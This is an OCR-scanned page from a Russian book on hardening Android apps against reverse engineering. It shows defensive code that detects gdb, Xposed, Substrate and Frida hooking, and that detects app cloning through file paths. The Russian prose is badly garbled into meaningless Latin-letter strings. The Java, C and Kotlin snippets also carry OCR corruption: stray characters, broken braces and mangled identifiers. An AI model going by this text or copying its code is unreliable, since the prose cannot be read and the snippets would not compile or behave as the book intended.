B CHCTEME, KOrja MpHIOXKEeHHe MPOXOIWT MO JAepeBy npoueccoB B ¢aiinoBoi cucteMe
/proc B TIOMUCKAaX CTPOK THMa "gdb" M "gdbserver" B ¢ainax /proc/PID/cmdline. HaunHas
¢ Android 7, noctyn k ¢daitnoBo# cucteMe /proc 3anpelueH (kpoMe HHGOpPMALIHH O TeKY-
LIEM MpOLIECCE).

Xposed

Xposed — ¢peitMBOpK 1nd paHTaiM-MoaudUKaUMH NpHIOKeHHH. M XOTS B OCHOBHOM
OH HMCTIONB3YETCs I YCTAHOBKH CHCTEMHBIX MOAHGHUKALIHI U TBHKOB, CYLIECTBYET Mac-
ca MofayJieH, KOTopble MOTYT OBITH HCIMONB30BaHbI [/ PeBepca W B3JIOMa BalLero Mpu-
JIOXEHHS. DTO U pa3iHyHble MOAYNH s oTkimoyeHUs SSL Pinning, U TpaccupoBLIMkH
Bpoae inspeckage, ¥ caMOMHCHbIE MOAY/H, KOTOpPble MOryT OBITH HCMONB30BaHbl IS
KaKoro yrofiHo H3MEHEHHSs MPHIIOKEHHS.

CyllecTBYyIOT TpH AeHCTBEHHBIX criocoba obHapykeHus Xposed:

1. Tlouck nakera de.robv.android.xposed.installer CpeAH YCTaHOBJIEHHBIX HAa YCTPOHCTBO.

2. Tlouck libexposed art.so H xposedbridge.jar B ¢)ai'me /proc/self/maps.

3. Tlouck knacca de. robv.android.xposed.XposedBridge CpeOH 3arpy>K€HHBIX B paHTaiM
MaKeToB.

B cratbe Android Anti-Hooking Techniques in Java (https:/d3adend.org/blog/
posts/android-anti-hooking-techniques-in-java/) npuBoauTcs peanu3alls TPETbErO
Metoaa ogHoBpeMeHHO 1 noucka Xposed u Cydia Substrate. [Tonxon uHTEpeceH Tem,
YTO BMECTO MPAMOro MOHMCKa KJIaCCOB B PaHTaiMe OH BBI3bIBAET HCKIIOYEHHE BPEMEHH
HCIMOJTHEHHS, a 3aTEM HILET Hy>KHbI€ KJIaCChl H METO/bI B CTEKTpeHce:

try {
throw new Exception("blah");
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catch(Exception e) {
int zygoteInitCallCount = 0;

for (StackTraceElement stackTraceElement : e.getStackTrace()) {

if (stackTraceElement.getClassName () .equals ("com.android.internal.
0s.ZygoteInit")) ({

zygoteInitCallCount++;
if (zygoteInitCallCount == 2) {
Log.wtf ("HookDetection", "Substrate is active on the device.");

}

if (stackTraceElement.getClassName ().equals("com.saurik.substrate.MS$2") &&
stackTraceElement.getMethodName () .equals ("invoked")) f{

Log.wtf ("HookDetection", "A method on the stack trace has been hooked
using Substrate.");

}
k2
(stackTraceElement.getClassName () .equals ("de.robv.android.xposed.XposedBridge") &&
stackTraceElement.getMethodName () .equals("main")) {
Log.wtf ("HookDetection", "Xposed is active on the device.");
}
if
(stackTraceElement.getClassName () .equals ("de.robv.android.xposed.XposedBridge") &&
stackTraceElement.getMethodName () .equals ("handleHookedMethod")) {
Log.wtf ("HookDetection", "A method on the stack trace has been hooked
using Xposed.");

}

Frida

Ee BennuectBo Frida! M3ymuTenbHbIH HHCTPYMEHT, MO3BOJAIOIIMIA NEPEXBAaTHTh BbI3OB
mo60H QYHKLUHMH MOAOMBITHOTO MPHIOKEHHUS, NMPOYECTh BCE €€ apryMEHThl H 3aMEHHTb
TeJI0 Ha cOOCTBEHHYIO peanu3alHio Ha a3bike JavaScript. Frida He Tonbko 3aHMMaeT nep-
BO€ MECTO B Y€MOJAHYMKE MHCTPYMEHTOB JI000ro peBepcepa, HO M CIyHT 6a3oi as
MHOTHX JpYrHX, 60/€e BBICOKOYPOBHEBbIX YTHIIHUT.

OO6Hapyxute Frida MmoxxHO MHOXecTBOM pa3Heix criocoboB. B cratee The Jiu-Jitsu of
Detecting Frida (https://web.archive.org/web/20181227120751/http://www.vantagepoint.
sg/blog/90-the-jiu-jitsu-of-detecting-frida) npusoasrcsa Tpu (Ha camom zene 4, Ho nep-
BbIH y>ke He aKTyalleH) pa3lIMuHbIX crocoba 3To caenaThb:

1. Tlouck 6ubAHOTEK frida-agent U frida-gadget B daiine /proc/self/maps:

char line[512];
FILE* fp;
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fp = fopen("/proc/self/maps", "r");

if (fp) {
while (fgets(line, 512, fp)) {
if (strstr(line, "frida")) {
/* Frida naibeHa */

p—

fclose(fp):

MoxeT 3aKOHUHTBLCH Heyuaqeﬁ, €CJIM B3JIOMIIIUK H3MCHHUT UMCHa OGHOIHOTEK.

2. Tlouck B mamMaTH HATHBHBIX OGUOIMOTEK CTPOKH "LIBFRIDA":

static char keyword[] = "LIBFRIDA";
num found = 0;

int scan _executable segments(char * map) {
char buf[512];
unsigned long start, end;

sscanf (map, "%$1x-%1lx %s", &start, &end, buf);

if (buf[2] == 'x') {

return (find mem string(start, end, (char*)keyword, 8) == 1);
} else {

return 0;

}

void scan() {
if ((fd = my openat (AT _FDCWD, "/proc/self/maps", O RDONLY, 0)) >= 0) {

while ((read one line(fd, map, MAX LINE)) > 0) {
if (scan_executable_segments (map) == 1) {
num_found++;

if (num found > 1) {
/* Frida HaimeHa */

Banomuuk MoxxeT nepexoMnuinpoBars Frida ¢ ©3MeHeHHBIMH CTPOKaMH.
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3. Ilpoiith mo BceM oTkpbiThiM TCP-mopraM, OTNpaBHTh B HHX dbus-coonemle AUTH

M Joxzaarecs oreera Frida:

for(i = 0 ; 1 <= 65535 ; i++) {
sock = socket (AF_INET , SOCK_STREAM , 0);
sa.sin port = htons(i);

if (connect(sock , (struct sockaddr*)&sa , sizeof sa) !'= -1) {
__android log print (ANDROID LOG_VERBOSE, APPNAME, "FRIDA DETECTION ([1]:

Open Port: %d", i):

memset (res, 0, 7);

send(sock, "\x00", 1, NULL);
send (sock, "AUTH\r\n", 6, NULL);

usleep(100) ;
if (ret = recv(sock, res, 6, MSG_DONTWAIT) != -1) {
if (strcmp(res, "REJECT") == 0) {

/* Frida HaineHa */

}

close (sock) ;

Merton xopomio pab6oTtaer npH ucnonab3oBaHHH frida-server (Ha pyToBaHHOM yCTpO¥#i-
CTBe), HO Gecrione3eH, ecH NpHIoKeHHe ObUTO MepenakoBaHO C BKIIKOYEHHEM B HETO
frida-gadget (cnoco6, 0ObIYHO MpHUMEHAEMBII MPH HEBO3MOXXHOCTH MOJY4YHTh root Ha
YCTpOIACTBE).

B cratbe Detect Frida for Android (https://darvincitech.wordpress.com/2019/
12/23/detect-frida-for-android/) asrop npuBoaMT ewme TpH cnocodba:

L.

IMouck notokos frida-server u frida-gadget, koTopbie Frida 3amyckaror B pamkax mpo-
1iecca MoJOMNbITHOrO MPHIOXKEHHS.

2. Tlouck cneuuduuHbix ans Frida MIMeHOBaHHBIX MalIOB B KaTajore /proc/<pid>/fd.

3. CpaBHeHHe KoJa HaTHBHbIX 6MO6IHOTEK Ha nucke M B mamaTH. [Ipu BHeapenuu Frida

H3MEHSAET CEKLIMIO text HATUBHBIX OHOMHOTEK.

[TpuMepsl HCHONB30BaHHUA MOCIEOHHX TPEX TEXHHK OMYOIHKOBaHBI B PEMO3UTOPHH Ha
GitHub no agpecy https://github.com/darvincisec/DetectFrida.



Cxpbleaem u 3anymeieaem koo 267

KnoHuposaHue

HekoTophle MpOH3BOAMTENH BCTPAHBAIOT B CBOW NMpPOLIMBKH (YHKLHMIO KJIOHHPOBaHHA
npunoxenus (Parallel Apps B OnePlus, Dual Apps B Xiaomi u T. 11.), KOTOpas MO3BOJISET
YCTaHOBHTh Ha cMapToH KomHio BbIOpaHHOro mpuioxeHus. [IpomnBka nemaer 3to
MyTeM CO3JaHuA AomoyiHuTeNbHOro Android-mones3oBaTtens ¢ HaeHTHPHUKATOPOM 999
Y YCTaHaBJIMBAET KOIHIO MPHIIOKEHH#H OT €ro HMEHH.

Taky1o e ¢yHKIMOHANBHOCTH MPEUIAaraloT HEKOTOphIe MPHIIOKeHUs U3 Mapkera (Dual
Space, Clone App, Multi Parallel). Oun pa6Gortaior mo-apyromy: myTeM CO3qaHHA H30-
JIMPOBaHHOM CpeAbl [UIA TPUIIOKEHHA M €ro YCTAaHOBKH B COOCTBEHHBIH NpPHUBATHBIH
KaTaJior.

BTopoit MeTox MoxeT OBbITh HCIIONIB30BaH 11 3alTyCKa Balllero MPUJIOKEHUsS B H30JHPO-
BaHHOM cpezie Mg u3ydeHus. YToObl BOCIPENATCTBOBATh 3TOMY, JOCTATOYHO MPOAHANH-
3HpOBATh MyTh K MPUBAaTHOMY KaTajory mpuiaoxeHus. K npumepy, npuioxeHue ¢ uMe-
HEM MaKeTa com.example.app IPH HOPMAJIbHOH yCTaHOBKE OyneT HMeTh MPHBATHBIH KaTa-
JIOT MO CIeAYIOLIEMY TyTH:

/data/user/0/com.example.app/files

IIpu co3naHHH KJIOHA C MOMOILUBIO OJHOTO M3 MPHJIOKEHHH M3 MapkeTa MmyTh Oyner yxe
TaKHM:

/data/data/com.ludashi.dualspace/virtual/data/user/0/com.example.app/files
A 1pH cOo31aHHH KJIOHA C IOMOUIBIO BCTPOEHHBIX B MPOLUWBKY HHCTPYMEHTOB — TaKUM:
/data/user/999/com. example.app/files

CobepeM Bce BMeCTe U MOTyYHM TaKOH METOA AIS IETEKTa H30JTHPOBAHHOMH Cpe/bl:

private const val DUAL APP ID 999 = "999"

fun checkAppCloning(context: Context): Boolean ({
val path: String = context.filesDir.path
val packageName = context.packageName

val pathDotCount = path.split(".").size-1
val packageDotCount = packageName.split(".").size-1

if (path.contains(DUAL APP _ID 999) || pathDotCount > packageDotCount) {
return false

return true

Meron ocHoBaH Ha crocobe, mpuBeaeHHOM B cTtaThe Preventing Android App Cloning
(https://proandroiddev.com/preventing-android-app-cloning-e3194269bcfa).
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